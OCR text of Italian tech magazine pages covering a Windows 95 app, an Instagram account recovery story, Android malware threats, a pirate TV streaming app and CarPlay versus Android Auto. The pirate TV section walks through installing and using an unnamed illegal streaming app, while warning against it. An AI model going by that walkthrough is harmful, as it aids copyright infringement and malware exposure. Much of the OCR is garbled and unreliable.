un tour nella no- 
stalgia non può 
non includere 
anche i giochi 
classici degli anni 
‘90. All'avvio del 
sistema operati- 
vo appare imme- 
diatamente il 


rivale 
WTINADEAS 


classico gioco di carte “Solitaire” Tuttavia, Windows 95 ave- 
va ancora altro da offrire, ad esempio i giochi “Hearts”, 
“FreeCell”e il classicissimo“Minesweeper” (vedi foto sotto). 
Per avviarne uno clicca su Start, Programs, Accessories, 
Games e seleziona quello desiderato. Ma non è tutto: nel 
profondo del sistema, Microsoft ha nascosto alcune sor- 


* Hinesweeper PI 


prese. Per scoprirle, clicca sull'icona 
My Computer e cerca la cartella Fun 
in “C:" Fai doppio clic su Invaders. 
com per avviare il gioco “Space Inva- 
ders” (vedi immagine sopra). In que- 
sta cartella sono contenuti anche al- 
tri giochi cult, tuttavia, alcuni di essi 
potrebbero provocare errori nella vi- 
sualizzazione, un problema che pro- 
babilmente verrà risolto da un futuro 
aggiornamento. 


RISOLVERE 
I PROBLEMI 


Può capitare che un programma 
vada in errore e smetta di funziona- 
re. In questo caso, esci da Windows 
95 premendo Esc per passare al 
puntatore del mouse predefinito, 
poi fai clic su Machine, Send 
Ctrl+Alt+Canc, seleziona il pro- 
gramma bloccato e cliccate su End 


Ki Windows 


iew Machine Window Help 
Send Ctr+Alt+Del 


Restart 


Go to Disk Image 


task. E se si bloccasse completa- 
mente l’app Windows 95? Nessun 
problema: basta riavviarla. Per far- 
lo, chiudie e riapri l'app di Win- 
dows 95 e fai clic su Reset Machine 
& Delete State prima di cliccare su 
Start Windows 95. 
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La richiesta di aiuto di una nostra 
lettrice: così le abbiamo recuperato 
il profilo hackerato 


ono Rosalba Carnevale, Instagram In- 

fluencer titolare di una pagina con 21k 

follower (@rosalba_carnevale). Non 
sono un personaggio famoso e ho raggiunto 
questo numero di seguaci dopo 2 anni di 
incessante e duro lavoro sul social. 


Il crack è servito! 

Nonostante avessi impostato l’autentica- 
zione a due fattori sull’account, giorno 23 
novembre scorso il mio profilo è stato preso 
di mira da un malintenzionato. Ho effettuato 
l’ultimo accesso alle ore 15 e dopo un’ora di 
studio volevo ritornare sul social per parlare 
ai follower che mi seguono. Aperta l’app Insta- 
gram sullo smartphone, con grande stupore 
e incredulità mi è stato negato l’accesso: ho 


& Accedialtuo account 


Invia un'e-mail 
Accedi con Facebook 


Hai bisogno di ulteriore assistenza 


Instagram 


n fi Ricevi assistenza con 
l'accesso. 


FF] Accedi come @casmainnanenio: 


provato a digitare la password più volte ma 
nulla da fare. Ho pensato quindi di effettuare 
un recupero, chiedendo l'invio delle istruzioni 
per il reset della chiave di accesso all'indirizzo 
di posta elettronica associato all’account. E 
proprio in questa fase ho scoperto che an- 
che la mia casella Gmail era stata violata: il 
malfattore aveva provveduto a cambiarne la 
password di accesso.. 


Cosa fare? 

Come mi devo comportare? 
Chi mi può aiutare? 

Sono pertanto giunta alla conclusione che 
qualcuno aveva hackerato il mio account 
Instagram cambiando password e, di fatto, 
impossessandosene. Non sapevo più che fare! 


48 al 89%0 11:31 


Googl 
Recupero dell'account 


8 po. 


@gmail.com v 


Inserisci l'ultima password che ricordi di aver utilizzato per 
questo Account Google 


Inserisci l'ultima password 


Prova un altro metodo 


Due anni di lavoro, foto, identità, contratti 
di collaborazioni e il pubblico raggiunto con 
tanti sacrifici... svaniti in un lampo. 

Il mio stato d'animo? Mi sono sentita violata, 
triste, arrabbiata, impotente, sicura di non 
poter fare nulla per “rimediare” alla beffa. 
Ho passato notti insonni a cercare una solu- 
zione su Internet per riavere il mio profilo, 
ma nessuna delle guide trovate risolveva il 
problema. “Quando ti hackerano l'email non 
puoi più recuperarlo”: questo è ciò che mi 
sentivo dire dagli amici ai quali ho chiesto 
disperatamente aiuto. 


Chiedo aiuto alla redazione 


Eppure, dentro di me sapevo che non do- 
vevo arrendermi. Nello sconforto totale ho 





®& 


deciso di scrivere alla redazione, contan- 
do sull’autorevolezza della testata e sulla 
preparazione tecnica dei redattori. Il mio 
accorato appello è stato prontamente accol- 
to con professionalità e cortesia. Mi è stata 
così indicata la procedura passo passo per 
effettuare il recupero in primis dell'account 
Gmail e successivamente del profilo Insta- 
gram. Non so davvero come ringraziarli: mi 
hanno salvato la vita senza chiedermi nulla in 
cambio: solo l'autorizzazione a condividere 
questa mia esperienza con tutti i lettori del 
Magazine; così da poterli aiutare qualora si 
trovassero nella mia stessa situazione. Tu 
che leggi, non lasciarti prendere dal panico, 
chiedi aiuto anche tu... o segui questa guida 
e il problema sarà risolto. 


ACCOUNT INSTAGRAM IN SALVO 


Ti ringraziamo per averci contattato. Prima di 
poterti fornire assistenza, dobbiamo verificare 


che tu sia il titolare dell'account. 


Ti preghiamo di rispondere a questa e-mail 
allegando una tua foto in cui reggi il codice 
scritto a mano riportato di seguito. 


19529 
Assicurati che la foto che invii: 


“mostri il codice sopra riportato scritto su un 
foglio di carta e seguito dal tuo nome completo 
e dal tuo nome utente; 

“mostri le tue mani che reggono il foglio e il tuo 
viso per intero; 

- sia ben illuminata, non sia troppo piccola, 
scura 0 sfocata; 

- sia allegata alla tua risposta come file JPEG. 


Tieni presente che anche se questo account 
non comprende foto tue o viene usato per 
rappresentare qualcun altro o qualcos'altro, non 
potremo fornirti assistenza finché non 
riceviamo una foto ch z ddisfi questi requisiti. 


Quando un account 
Instagram viene viola- 
to, bisogna procedere 
con la segnalazione al 
gestore del servizio. Se 
usi uno smartphone 
Android, dalla scher- 
mata di accesso a In- 
stagram tocca la voce 
Ricevi assistenza con 
l'accesso sotto il pul- 
sante Accedi (su iPho- 
ne devi toccare la voce 
Password dimentica- 
ta?). Dalla successiva 
schermata inserisci il 


nome utente o il nu- 
mero di telefono e toc- 
ca Avanti. 

A questo punto dovrai 
specificare un indiriz- 
zo e-mail valido e si- 
curo dove ricevere la 
procedura per il recu- 
pero. 

Dopo aver inviato la 
richiesta, passeran- 
no dalle 24 alle 48 
ore prima di ricevere 
un'e-mail di risposta 
automatica dal team 
di Instagram che ti 


chiede di verificare la 
tua identità. 

Ti verrà chiesto di 
scattare una tua fo- 
to (usando lo smart- 
phone) mentre tieni 
in mano un foglio sul 
quale dovrai scrivere a 
penna un codice da lo- 
ro fornito, iltuo nome 
completo, l'indirizzo 
e-mail con il quale ti 
sei registrata ad Insta- 
gram e il nome utente. 
Una volta fornite tutte 
queste informazioni, 


Instagram ti invierà 
tramite e-mail (all'in- 
dirizzo sopra specifica- 
to) le istruzioni detta- 
gliate per il recupero. 
Rosalba ha messo in 
pratica i nostri consigli 
e dopo 10 giorni di at- 
tesa ha ricevuto una e- 
mail da parte di Insta- 
gram nella quale chie- 
de scusa per non aver 
garantito all'utente la 
giusta protezione. 
Tutto bene, quello che 
finisce bene. 
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Nelle mani sbagliate 


Gli hacker stanno provando, con sempre maggior insistenza, 
a prendere il controllo degli smartphone Android, agevolati 
dal fatto che questi offrono diverse possibilità di attacco 





na suite di protezione è ormai 

presente su quasi tutti i PC e 

notebook, mentre sugli smart- 
phonela situazione è molto diversa: 
la maggior parte degli utenti non uti- 
lizza protezioni di sorta, nonostante i 
rischi siano superiori rispetto a quelli 
che si corrono su PC. La redazione 
vuole spiegarvi a quali pericoli si va 
incontro e quali app di protezione 
utilizzare. 


Attacco a 360° 


Controllare l'e-mail, acquistare 
prodotti, riprendere video, gestire il 
conto corrente, navigare in Internet 
e, naturalmente, chattare: con uno 
smartphone possiamo fare quasi 
tutto ciò che facciamo con un com- 
puter, con il vantaggio di poterlo fa- 
re ovunque ci si trovi. Tuttavia, uno 
smartphone offre molte possibilità 
di attacco per gli hacker, visto che 


quasi tutte queste funzioni possono 
essere utilizzate per raccogliere dati 
o iniettare virus. Nel box trovi le mi- 
nacce più diffuse per glismartphone. 


Gli hacker i 
scelgono Android 

Gli smartphone Apple sono molto 
meno suscettibili agli attacchi infor- 
matici. Nonostante esistano alcuni 
virus periPhone e molte delle vulne- 
rabilità Android possano applicarsi 
anche agli iPhone, per poterle sfrut- 
tare gli hacker devono combattere 
con un numero significativamente 
maggiore di ostacoli. Ad esempio: 
le app possono essere installate 
esclusivamente dallo store ufficiale, 
piuttosto che le app non possono ac- 
cedere ai file presenti nel dispositivo. 
Limitazioni queste che da un lato 
sono delle vere e proprie restrizioni 
per sviluppatori, ma dall'altro garan- 


Solitamente il Bluetooth è sempre È 
attivo, anche se non lo si sta utiliz- 
zando. Con attacchi speciali, gli 


hacker possono usare questa connessione 
per prendere il controllo di uno smartphone. 


Il Play Store contiene la quasi 
totalità delle App Android il con- 
trollo su di esse è automatico, 
ma gli sviluppatori possono mo- 
dificarle quando vogliono, cosa 
che non mette al sicuro l'utente 
dai malware. 


Sono anni che Android è al centro delle mire dei cybercriminali. Come mostra il grafico sottostante, nei 
primi due anni dopo il lancio del sistema operativo, avvenuto nel 2008, i malware erano praticamente 
inesistenti; ma subito è iniziata l'impennata dei virus. Oggi, anche se il loro numero non aumenta più 
come prima, questi sono sempre più sofisticati e pericolosi. 
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tiscono sicurezza all'utente. 

Inoltre, i dispositivi con Android 
sono molti di più, quindi gli hacker 
hanno molti più obiettivi da colpire. 


Update costanti? 

Un altro problema dei dispositivi 
Android sono gli aggiornamenti 
di sicurezza. Di solito un aggior- 
namento nasce così: un esperto 
di sicurezza scopre una falla e la 
comunica a Google, che la risolve 
erilascia una patch. A questo pun- 
to, l'autore della scoperta divulga 
la notizia. Purtroppo l’aggiorna- 


installato automaticamente solo 
sugli smartphone Google Pixel; per 
tutti gli altri si deve attendere che i 
relativi produttori distribuiscano le 
loro patch. Dalmomento in cui una 
patch è pronta, i produttori possono 
attendere fino a 90 giorni prima di 
distribuirla. Tral'altro, il loro rilascio 
non è garantito per tutti i modelli. 
Con i nuovi contratti, Google sta 
impegnando i produttori ad aggior- 
nare almeno per due anni i modelli 
top di gamma, ma non gli altri. Ed 
ecco che agli hacker basta leggere le 
descrizioni delle falle per sfruttarle, 















DOWNLOADER 


I downloader o “dropper”usano 
subdoli trucchi per ingannare le vit- 
time e far installare app dannose 
che, in genere, mostrano annunci 
anche al di fuori 

dell'app, spesso 

collegati a pagine 

di dubbia liceità. 


ADWARE 


Gli adware sono spesso nascosti sotto 
forma di giochi o app di intratteni- 
mento apparentemente innocue, ma 
una volta installati visualizzano an- 







nunci in background sui dispositivi in- 
fetti, consumando risorse dello smart- 
phone e consenten- 
do frodi pubblicita- 
rie. Gli inserzionisti 
pagano denaro sonante peri clic ef- 
fettuati sugli annunci, per questo gli 
adware sono in grado di moltiplicare 
artificialmente il numero di clic. 


RANSOMWARE 


I ransomware (trojan crittografici) An- 
droid crittografano determinati file o 
addirittura l'intero smartphone, im- 
pedendone di fatto l'utilizzo da parte 
dell'utente. | malfattori richiedono poi 


mento di sicurezza Android viene certi di trovare terreno fertile. 










































@ Gli hacker posso- 
1 el no facilmente leg- "=. 
| | AE Q 19:38 gere contenuti in- PA 
Viati nelle WLAN 
aperte. Inoltre, 
sfruttando certifi- 
cati falsi, possono leggere anche le 


connessioni crittografate e scovare 
le nostre password. 
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| de un riscatto per ripri- 
Come per il PC, i malware posso- stinare i dati oil di- 
G, & no arrivare sullo smartphone an- spositivo 
che tramite un browser o siti Web preparati in 4 


modo tale da utilizzare impropriamente la potenza 


Google Gallery di calcolo dello smartphone peri propri scopi. 


ROOTER 


Il rooter richiedono all'utente un accesso 
root allo smartphone o utilizzano i co- 
siddetti exploit per ottenerlo, così da 
poter prendere il 

controllo del dispo- 

sitivo e spiare l'utente a sua insaputa. 


FAKE APPS 


Le fake app fanno qualcosa di completa- 

mente diverso rispetto a quanto atteso: 
ad esempio, un'app 
torcia può spamma- 
re l'utente con conti- 
nui spot pubblicitari. 


LAS 





Gli app store non gestiti da Goo- 
gle spesso neanche controllano 
le app postate; questo consente 
ai criminali infor- 
matici di avere gio- 
ngs Calendar Play Music 4 co facile nel pubbli- 

care app infette. 






Le fake app fingono di fare qual- 
cosa di importante, mentre inve- 

ce non fanno altro che scaricare altri malware e 
diventare vere e proprie backdoor, oppure ese- 
guono azioni indesiderate in background (vedi co- 
lonna a destra). 


Apple ha progettato il sistema operativo 
i0S come una piattaforma chiusa. Tutto 
questo contribuisce ad aumentare la si- 
curezza dei dispositivi: Apple può con- 
trollare le app prima di pubblicarle e gli 
utenti non hanno la possibilità di installa- 
re app provenienti da altre fonti. Al con- 
trario, Google ha progettato un sistema 
operativo aperto favorendone la diffusio- 
ne, ma aprendo le porte ai malware, Cè 
da dire, però, che Google negli ultimi an- 
ni sta facendo grandi sforzi per eliminare 
le app dannose dal suo store. 






Un subdolo hacker potrebbe 
collocare un PC in un luogo 
pubblico mascherandolo come 
una postazione di ricarica gra- 
tuita, ma usarlo in realtà per di- 
stribuire malware o cercare di 
scaricare i tuoi dati. 
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L’app segreta che 


sblocca la TV pirata 


C’è chi ha trovato il modo per scroccare gratuitamente e senza 
troppi fronzoli tutti i canali TV. Ma attenzione a quel che si fa! 


a pagamento e non, di qualsiasi genere: 

sport, animazione, film, documentari, 
ecc. Parallelamente alla nascita di tali canali 
però, sbucano fuori anche app per smartpho- 
ne in grado di offrire gli stessi contenuti e con 
la stessa risoluzione (HD o non) in modo to- 
talmente gratuito, o al massimo con qualche 
pubblicità per supportare gli sviluppatori. È il 
caso di un'app che sta impazzando sul Web da 
qualche tempo e della quale, per ovvie ragioni, 


D eriodicamente nascono nuovi canali TV, 


preferiamo non rilevarne il nome. Abbiamo 
scoperto infatti, come gli smanettoni riescono 
facilmente ad ottenere l’accesso ad un grande 
numero di canali TV italiani e del mondo. Tra 
tutti i canali presenti troviamo, nomi noti per 
seguire documentari, eventi sportivi e molto 
altro stando in treno anziché seduti sul diva- 
no di casa. Perché quest'app sta diventando la 
scelta numero uno tra gli smanettoni? Per alcuni 
semplici motivi: è gratuita, non richiede settaggi 
particolari perimpostareil playeroi canali (come 


accade con Kodi), è in lingua italiana e presenta 
canaliitaliani (oltre che quelli di tutto il mondo). 
Detto ciò, è ora di andare a scoprire come gli 
smanettoni scroccano contenuti pay-per-view 
in modo totalmente free. 

Attenzione a quel che fai... alcuni canali sono 
delle semplici emittenti TV in diretta strea- 
mingcosì come quelli che vedi sui siti ufficiali, 
altri sono canali assolutamente illegali ed è 
opportuno starne alla larga se non si vuole 
rischiare grosso! 


L’app che pirata la TV 


Lo smanettone si reca sul Web alla ricerca del file .apk da installare. Il sito lo oscureremo di propnAE per 


impedire il download dell’app e come fanno gli hacker a impostare i settaggi per sbloccare la 


Best Live Tv Strea 
Application. 


a} Download, ad un clic 

da Google 

Da browser per smartphone il pirata fa una 
breve ricerca su Google e individua il sito, clicca sul 
pulsante DOWNLOAD NOW sceglie su quale piat- 
taforma scaricare l’app (nel suo caso, Android). Fatto 
ciò, seleziona l'icona relativa all’app e poi clicca su 
INSTALLA. Infine tappa su APRI, 


64 Win Magazine 


a } I primi settaggi 
AI primo avvio lo smanettone tappa su 
Don't show again e poi su OK. Ora appa- 
re subito davanti l'enorme lista di canali pronti 
per essere avviati. Nel menu di sinistra tappa su 
Settings/Select Language e seleziona la lingua 
italiana. Dopodiché ritorna indietro per rendere 
effettiva la modifica. 


in streaming. 


Tutti 

O Maso 
O Belgio 
O BI Francia 
CM Germania 

BE italia 
O #2 Olanda 
O IM Portogallo 
[n Spagna 
OD #8 Regno Unito 
CO ESE Stati Uniti 


O ii AV 


» | Canali italiani 
Per selezionare la lista di canali italiani, lo 
smanettone tappa sull'icona a forma di 
mappamondo in alto a destra e, nella lista che appa- 
re lascia selezionata soltanto la bandiera italiana. Infi- 
ne fa tap sul pulsante R/CERCA per vedere su scher- 
mo l'elenco di canali solo italiani. A questo punto ne 
seleziona uno e inizia a godersi lo spettacolo. 





i Funziona ma si rischia 


L'app prevede una serie di funzionalità e canali suddivisi per categorie per facilitare il lavoro di ricerca allo 
smanettone. Abbiamo scoperto come fanno a scroccare tutti i generi di contenuti, sport compreso. 









CAMBIA PLAYER AII Matches 





< preferiti 
O Boxing 





E Q 












Fox animation 


Divertimento 





& ti Cricket 






Darts 














Divertimento 


9 Autodoc 


Animal planet.. 


AGRA [DIeTolViggT=1a}6:}g(0) 









Football 





INSTALL 





a) Pulsanti del player a | Canali preferiti » | Categorie 
Selezionato un canale, lo smanettone si Per aggiungere un canale alla lista dei pre- Grazie alla suddivisione dei canali per cate- 
gusta il contenuto. Il player di visualizzazio- feriti (e ritrovarlo più facilmente in seguito) goria, lo smanettone si reca nel menu di 






ne prevede alcuni pulsanti, come il quadrato in basso lo smanettone, dalla lista principale dei canali pre- sinistra e ne sceglie una tra Intrattenimento, Film, 
a destra che permette di visionare il contenuto a tut- me sul rispettivo pulsante a forma di cuore, dopodi- —Musica, Notizia, Sport, Documentario, Bambini e 
to schermo; in più trova i noti pulsanti Play/Indietro/ — ché dal menu di sinistra si reca nella sezione Prefe- Cibo. Inoltre, tappando su Programma sceglie un 
Avanti oppure Refresh, che aggiorna la pagina (utile riti per selezionarli più facilmente in un successivo evento sportivo live per guardarlo. Il tutto in modo 
in caso di connessione lenta). momento. incredibilmente facile, ma assolutamente illegale! 


iL'app va sulla TV di casa © 


Non solo su smartphone, ma c’è anche chi installa la nota Don sul TVBox Android di casa, così INSTALLARE L'APP? 
da scroccare tutti | contenuti e vederli comodamente proiettati sulla TV. Scopriamo come fanno. ‘ Rua vena 

i avviare l’app, abi- 
lita l'installazione da 
sorgenti sconosciute, 
recandosi in /mposta- 
zioni/Sicurezza e spun- 
ii tando Origini scono- 
Best Live Tv.Streaming (PIT sal ; - ai sciute. Così facendo è in 
Application. |@ 7 i A ns» . grado di installare l’app 

| : mena i senza alcun messaggio 

d'errore, 


LA SCONSIGLIAMO! 
Questa ci sembra proprio 
un'app illegale al 100% 
visto che manda in strea- 
ming contenuti TV in bar- 
baalicenze e copyright. 

È piena zeppa di pubbli- 
cità che diventa invasiva 










a Download e primo avvio a è Chromecast in azione nell'uso quotidiano. Dopo 
Lo smanettone si reca da TVBox, sul browser, si connette Riguardo la TV, lo smanettone può collegare anche lo smar- —averladatainpastoa 
al sito “incriminato” e scarica l’app direttamente sul TVBox. tphone tramite Chromecast, che permette di far vedere sul- —VirusTotal, l'app sembra 


Dopo averla installata, la avvia e la inizia ad utilizzare come normal- la TV ciò che lo schermo del dispositivo mobile vede. Egli collegala "© lato dal He 
mente si fa sullo smartphone: seleziona i canali in lingua italiana,  Chromecast alla TV, la abbina al proprio smartphone ed infine si gode e rie pi 
seleziona poi la stessa lingua anche per le scritte dell'app, apre un. icanali TV in questo modo. Grazie alla semplicità di questo metodo, dato saperlo. Alla larga! 


canale ed inizia a gustarsi i contenuti. molti smanettoni evitano di usare un TVBox Android. 
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Sfida a colpi di navigatore tra Apple e Google. Vediamoci chiaro 


uando siamo al volante tutta l’attenzione 

deve andare alla guida, e il cellulare non 

dovrebbe essere mai utilizzato, tant'è 
che alcuni produttori (per evitare di indurci 
in tentazione) disabilitano completamente 
la ricezione delle notifiche quando rilevano 
che ci stiamo muovendo molto velocemente e 
quindi siamo presumibilmente in auto, ameno 
di non dichiarare esplicitamente di essere dei 
passeggeri. 
Ci sono però delle attività alle quali è diffici- 
le rinunciare anche quando si è alla guida, 
attività che magari in passato erano svolte 
da altri dispositivi, ma che adesso sono tutte 
racchiuse nello smartphone: basta pensare al 
navigatore satellitare, che sul telefono è sempre 
aggiornato sia come mappe che come infor- 
mazioni di traffico (oltre ad offrire eventuali 
informazioni aggiuntive) o alla musica, visto 
che sul nostro smartphone è sicuramente pre- 
sente tutta la nostra musica preferita oppure 
è possibile ricevere in streaming quello che si 
vuole ascoltare. 
Già da molti anni è possibile collegare il nostro 
telefono al sistema bluetooth di molte auto, 
principalmente per poterrispondere al telefono 
in vivavoce senza distrarsi dalla guida; poi è 
arrivata anche la possibilità di inviare (sia in 
bluetooth che con altri sistemi) la nostra musica 
all'impianto audio dell'auto. Da qualche anno 
a questa parte abbiamo però a disposizione 


qualcosa di ancora più evoluto, qualcosa che 
(come vedremo in queste pagine) ci consente 
di fare molte più cose. 

Stiamo parlando di Apple CarPlay (per chi ha 
uniPhone con i0S) oppure Android Auto (per 
chi utilizza un telefono Android): il primo è 
disponibile già dal 2014, a partire dall’iPhone 5 
coniOS7.1, mentre il secondo è arrivato l'anno 
successivo e richiede Lollipop come versione 
minima di Android per poter funzionare (per 
Android verificate sempre la compatibilità del 
vostro modello di telefono, perché la libertà di 
personalizzazione del sistema di Google può 
creare alcune incompatibilità). 


Finalmente su tutte le auto 

Perché parliamo solo oggi di questi sistemi? 
Prima di tutto perché, nonostante la buona 
volontà di Apple e di Google nel proporre questa 
tecnologia a bordo delle auto, era indispensa- 
bile attendere sia che i produttori di automobili 
li integrassero nelle loro vetture, sia che queste 
vetture venissero poi acquistate dagli utenti 
finali: se lo smartphone si cambia nel giro di 
qualche anno (se non tutti gli anni) l'automo- 
bile ha un ciclo di vita medio compreso trai 
10 anniei 15 anni, Inoltre, trattandosi di una 
tecnologia nuova e (almeno fino a qualche 
anno fa) relativamente costosa, le prime auto 
ad integrare questi sistemi erano auto di alta 
fascia, vendute in numero limitato. Solo nel 





2018 i produttori hanno iniziato a proporre 
questi sistemi anche sulle vetture più piccole, 
mail ciclo di adozione sularga scala è forzata- 
mente lento, proprio perché i ritmi di vendita 
delle auto è più basso. 

Questo dato di fatto ha rallentato anche il 
supporto degli sviluppatori nel realizzare ap- 
plicazioni che fossero compatibili con questo 
tipo di utilizzo: ben pochi hanno interesse a 
sviluppare qualcosa dedicato ad un sistema 
di nicchia. Non dimentichiamo poi che Apple 
fino a non molto tempo fa precludeva alcune 
funzionalità alle applicazioni di terze parti: 
per esempio, solo dall’ultima release di Apple 
CarPlay integrata iniO0S12 è possibile utilizzare 
Google Maps (o altre App equivalenti) per la 
navigazione. 

Nell'ultimo annosi è però assistito ad una forte 
crescita nella proposta di questo optional (che 
ora viene spesso fornito di serie anche sulle 
auto più piccole) ed è proprio per questo mo- 
tivo che abbiamo deciso di metterli alla prova 
su due piccole vetture, così da dare le nostre 
impressioni a chi, dopo tanti anni, si appresta 
a cambiare auto. 

Andiamo quindi ad analizzare Apple CarPlay 
su una nuova Nissan Micra (su questo model- 
lo di auto, al momento della prova, Android 
Auto era in arrivo ma non ancora disponibile) 
e Android Auto su una Suzuki Ignis con un 
Honor P9 Lite. 


URI 


In riproduz 


FIS 


Audiolibri - Google Maps 


Podcast 





| Apple CarPlay & Android Auto | Per saperne di più 





mente come se lo aspetta chi è 
abituato ad iOS, con le stesse 
icone che già conosciamo sul 
telefono, e con la possibilità di 
definire la posizione delle App 
nelle varie schermate tramite 
apposite impostazioni dell'Pho- 
ne, Sulla sinistra troviamo l’elen- 
co delle ultime App utilizzate, 
l'ora, le informazioni sulla con- 
nettività alla rete mobile, e il 
corrispettivo del pulsante ho- 
me, che quando ci troviamo in 
un'App consente di tornare alla 
schermata principale. Possiamo 
interagire col sistema tramite lo 
schermo touch, utilizzando le 
manopole dell'auto, o tramite 
i comandi vocali di Siri. Il siste- 
ma pensato da Apple prevede 
che auto e telefono agiscano 
in simbiosi: prima di partire 
possiamo impostare il tragitto 
tramite telefono e ritrovarlo in 
tempo reale sul display dell’au- 
to, oppure possiamo selezio- 
nare la musica sia dal telefono 
(nonmentre guidiamo!!!) che da 





© Scorrendo le pagine della home 
ritroviamo sintonizzatori radio digitali, 
audiolibri, e l'icona di Whatsapp 

con la classica indicazione dei nuovi 
messaggi, che potranno essere letti 
CERI 


& Con CarPlay, lo schermo dell'auto replica il display del telefono e viceversa 


INFE 


CarPlay, osservando che i due 
schermi reagiscono allo stesso 
modo contemporaneamente. 


Cosa si può fare con 

il sistema CarPlay? 

Ma arriviamo al punto chiave 
della questione: le funzionali- 
tà. Nonostante la similitudine 
tra quello che vediamo sui due 
sistemi, non è certo possibile 
inviare un filmato sul display 
dell'auto, nétantomeno gioca- 
re... Fondamentalmente esisto- 
notre categorie di applicazioni 
che interagiscono con CarPlay: 
quelle di navigazione, quelle di 
comunicazione, e quelle che 
possiamo definire “di ascolto”. 


Le applicazioni 

di navigazione 

(Ge) 2{-12}<o]p{o}*(M(=t:|{P-74:}g=M 01010) 
(e (“fe |[W{«CoJo]MoJglateiTor:]{Ne(SI{MVIStI 
lizzo dello smartphone in au- 
to, ovvero sfruttare il GPS per 
avere le indicazioni stradali, 
senza ricorrere ad improba- 


08:27 10 
arr 


@ Non solo Mappe di Apple, ma anche 
Maps e altri ancora 


bili marchingegni per fissare 
il telefono in qualche modo 
dove non possa dare troppo 
fastidio. L'ultima versione di 
Apple CarPlay ha finalmente 
aperto le porte ai sistemi di na- 
vigazione di terze parti, così 
che ognuno possa scegliere 
se utilizzare Mappe di Apple, 
piuttosto che Google Maps 
o altri navigatori. Inutile dire 
che, qualunque sia la scelta, il 
risultato sarà sempre ottimale, 
perché avremo sempre a dispo- 
sizione un sistema aggiornato 
in tempo reale. 


Applicazioni 

di comunicazione 

Con esse è possibile risponde- 
re alle chiamate in vivavoce, o 
ascoltare i messaggi ricevuti 





@ La navigazione con Mappe è estremamente comoda grazie ad un display da 7” 





Mobile € 





® Tutta la nostra musica preferita 
direttamente sullo schermo dell'auto 


sfruttando le capacita di let- 
tura di Siri (con effetti a volte 
esilaranti in caso di errori or- 
tografici o di eccessivo utilizzo 
delle emoticons). Il supporto 
alla messaggistica non si li- 
mita all'applicazione ufficiale 
di Apple, ma offre possibilità 
di supporto anche e tutte le 
App che volessero sfruttare 
questa possibilità (per esem- 
pio l'immancabile WhatsApp). 
Sempre Siri ci permette poi di 
dettare messaggi o di chiamare 
qualcuno senza distrarsi per 
cercare nomi nella rubrica 
(cosa comunque possibile) o, 
ancora peggio, per digitare il 
MESSER ERE IRSE a 
mo. Quest'ultima cosa in par- 
ticolare, semplicemente non è 
consentita: l'unico modo per 
scrivere un messaggio è quello 
di dettarlo a Siri. 


Applicazioni “di ascolto” 

Uno dei piaceri della guida 
(nonché uno stratagemma 
per compensare il fatto di do- 
ver restare rinchiusi in auto) 
consiste anche nella possibi- 
lità di ascoltare buona musica 
mentre si è al volante... ma non 
solo: perché non approfitta- 
re del tempo passato in auto 
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Track 2 


Piergiorgio Oditreddi...fronto - La serie completa 


To) 


HW © 


—____- 


Concettualmente il funziona- 
mento segue regole molto simili 
a quelle che abbiamo già visto 
per il sistema Apple, ma la rea- 
lizzazione è diversa sotto molti 
aspetti. Qui non ritroviamo una 
schermata simile a quella dello 
smartphone, con le icone di tut- 
te le applicazioni, ma abbiamo 
una barra sulla nella parte in- 
feriore del display che Google 
utilizza per suddividere diret- 
tamente tutte le applicazioni 
nelle tre categorie già citate: 
navigazione, comunicazione e 
ascolto. Una volta selezionata 
la categoria, le applicazioni ci 
vengono mostrate in un elen- 
co, meno scenografico rispetto 
ad Apple CarPlay, ma forse più 








Android Auto divide automaticamente tutte le App in tre macro-categorie 


efficace perla selezione, anche 
se (essendo l'icona più piccola 
e inserita in una lista a sfondo 
bianco) potrebbe essere meno 
immediato riconoscere subito 





Le fasi di configurazione di Android Auto 
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l'App desiderata. Oltre ai pul- 
santi per queste tre categorie, 
abbiamo sempre accessibile il 
tasto home, e quello per uscire 
dal sistema Android Auto. Se 
il significato di quest'ultimo è 
abbastanza evidente, il tasto 
home ci porta ad una schermata 


Wihatchpo Rently 


pes} 


sure 


to 
.) 


Google Pay Mac Tia di Rat 


x 
t] % 
î | 





generica dove possiamo vedere 
informazioni generali come le 
notifiche o il brano che stiamo 
ascoltando. 


Cosa si può fare con il 
sistema Android Auto? 
Fondamentalmente vale tutto 
quanto abbiamo visto per Apple 
CarPlay, inclusa la possibilità di 
sfruttare i comandi vocali per 
usare tutte le potenzialità di 
Android Auto senza staccare 
le mani dal volante, e i pulsanti 
delle tre categorie permettono 
di accedere a tutte le funzionali- 
tà disponibili per Android Auto. 


Applicazioni 

di navigazione 

Su Android Auto Google Maps 
la fa da padrona, ma ovviamen- 
te, è possibile utilizzare anche 





Google Maps è l'opzione predefinita 
per navigare... 


«+. Ma si possono utilizzare altri 


navigatori, come Waze 


altri sistemi di navigazione co- 
me Waze. Anche qui ritroviamo 
tutte le opzioni normalmente 
disponibili sull'App per smart- 
phone, inclusa la possibilità di 
visualizzare le informazioni sul 
traffico o di impostare la vista 
via satellite. Come già precisato 





per Apple CarPlay, la possibilità 
di utilizzare un sistema di navi- 
gazione sempre aggiornato in 
tempo reale, e integrato in un 
display dell'automobile (anzi- 
ché fissato in modo più o me- 
no precario in qualche angolo 
dell'abitacolo) rendono questa 


Possiamo comporre un numero telefonico ma anche richiamarlo dalla rubrica 


dei contatti 


Google Play Libri 


Google Play Musica 





Tra le App di ascolto possiamo scegliere tra la musica residente sul telefono, 


musica in streaming, o un più rilassante audiolibro 


Cri» 2 
O Ora-Telegram 
| Believe (Radio-Fdit) 
Bob Sinclar 





Le notifiche di messaggistica sono immediatamente visibili, anche mentre 
ascoltiamo la musica 





Alcune delle App compatibili con Android Auto 


funzione una delle opzioni più 
interessanti dell'integrazione 
tra smartphone e automobile. 


Applicazioni di 

comunicazione 

Per quanto riguarda le appli- 
cazioni di comunicazione, 
fondamentalmente parliamo 
di telefonate e messaggi, per- 
ché altre App di messaggistica 
(come WhatsApp o Telegram) 
rientrano invece nella categoria 
di ascolto, che di fatto include 
tutto quello che non rientra tra 
le opzioni di navigazione o di 
telefonia. Si tratta, parlando di 
comunicazione, delle normali 
opzioni per gestire le chiamate, 
semplicemente rese più como- 
de dall'integrazione col display 
dell'auto e il collegamento 
all'impianto audio della vettura. 


Applicazioni “di ascolto” 
L'ultima categoria è quella che 
permette ad Android Auto di 
ottenere tutte quelle funzioni 
in più capaci di dare valore ag- 
giunto all'interconnessione tra 
smartphone e automobile. Par- 
liamo prima di tutto dell'ascolto 
musicale, che si tratti di musica 
residente sul telefono, o musica 
da ascoltare in streaming con 


cardo 


